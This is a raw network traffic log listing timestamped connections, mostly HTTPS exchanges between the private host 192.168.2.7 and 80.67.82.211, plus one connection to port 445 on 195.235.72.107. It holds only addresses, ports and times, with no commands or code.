Jul 20, 2022 15:44:17.635181904 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.635191917 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.635237932 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.635260105 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.635384083 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.635426998 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.635488987 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.635499001 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.635552883 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.635664940 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.635761976 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.636467934 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.636535883 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.636637926 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.636637926 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.636660099 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.636668921 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.636693001 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.636773109 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.636789083 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.636823893 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.636841059 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.636928082 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.636970997 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.637046099 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.637063980 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.637108088 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.637140989 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.637356043 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.637402058 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.637428045 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.637490988 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.637509108 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.637595892 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638230085 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638276100 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638300896 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638390064 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638442039 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638453960 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638551950 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638565063 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638601065 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638618946 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638659000 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638673067 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638673067 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638714075 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638772964 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638799906 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638822079 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638881922 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638896942 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.638957024 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.638982058 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.639137983 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.639169931 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.639254093 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.639273882 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.639324903 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.639383078 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.639461040 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.639610052 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.639650106 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.639703035 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.639714003 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.639743090 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.639770985 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640012026 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640044928 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640108109 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640125036 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640158892 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640182018 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640316963 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640410900 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640523911 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640558958 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640611887 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640620947 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640640974 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640650988 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640661955 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640732050 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640743971 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.640773058 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640774012 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.640794039 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.641625881 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.641666889 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.641666889 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.641779900 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.641798019 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.641844034 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.641875029 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.641958952 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.641998053 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642060995 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642061949 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642077923 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642112970 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642160892 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642225027 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642267942 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642313004 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642338991 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642349005 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642364979 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642378092 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642435074 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642746925 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642780066 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642848015 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642860889 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.642889977 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.642911911 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.643254995 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.643286943 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.643352985 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.643363953 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.643416882 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.644068003 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.644098997 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.644227982 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.644293070 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.644303083 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.644371033 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.644372940 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.644381046 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.644417048 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.644535065 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.644547939 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.644625902 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.644985914 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.645009995 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.645102024 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.645143986 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.645163059 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.645194054 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.645230055 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.645818949 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.645855904 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.645948887 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.645962954 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.645997047 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.646018028 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.646163940 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.646199942 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.646275043 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.646296024 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.646326065 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.646348000 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.646572113 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.646620035 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.646682978 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.646691084 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.646704912 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.646754980 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.646800041 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.646925926 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647057056 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647073030 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647083044 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647144079 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647156954 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647193909 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647269011 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647669077 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647701025 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647758961 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647773981 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647778988 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647813082 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647820950 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647875071 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647885084 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647897959 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647918940 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647922039 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647926092 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647962093 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.647974014 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.647996902 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648005962 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648032904 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648040056 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648071051 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648087025 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648098946 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648099899 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648128986 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648144960 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648154020 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648192883 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648224115 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648225069 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648228884 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648238897 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648272038 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648305893 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648313999 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648315907 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648350954 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648350000 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648395061 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648396969 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648397923 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648449898 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648463011 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648509979 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648538113 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648559093 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648566008 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648574114 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648608923 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648622036 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.648643017 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.648667097 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.649591923 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.649627924 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.649729013 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.649741888 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.649820089 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.649980068 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650015116 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650074959 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650084972 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650118113 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650146961 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650293112 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650397062 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650430918 CEST	50787	445	192.168.2.7	195.235.72.107
Jul 20, 2022 15:44:17.650559902 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650608063 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650665045 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650681019 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650703907 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650702953 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650732040 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650742054 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650779009 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650814056 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650845051 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650876999 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650923967 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.650945902 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.650979042 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.651020050 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.651267052 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.651377916 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.651520014 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.651566982 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.651602030 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.651621103 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.651643991 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.651668072 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.651683092 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.651715994 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.651793957 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.651813984 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.651830912 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.651865959 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.652420998 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.652457952 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.652518988 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.652527094 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.652537107 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.652553082 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.652631044 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.652647972 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.652679920 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.652681112 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.652703047 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.652905941 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.652923107 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.652993917 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.653014898 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.653027058 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.653055906 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.653249979 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.653279066 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.653337955 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.653356075 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.653373003 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.653388977 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.653429031 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.653435946 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.653445959 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.653487921 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.653542042 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.653647900 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.653732061 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.654347897 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.654381990 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.654412031 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.654455900 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.654457092 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.654472113 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.654517889 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.654535055 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.654561043 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.654589891 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655009031 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655035019 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655057907 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655117035 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655136108 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655169964 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655203104 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655206919 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655242920 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655288935 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655302048 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655334949 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655358076 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655405998 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655493021 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655618906 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655662060 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655702114 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655723095 CEST	443	50726	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655735970 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655741930 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.655769110 CEST	50726	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.655822039 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.656271935 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.656302929 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.656366110 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.656378031 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.656419992 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.656445026 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:17.657239914 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:17.657269955 CEST	443	50725	80.67.82.211	192.168.2.7
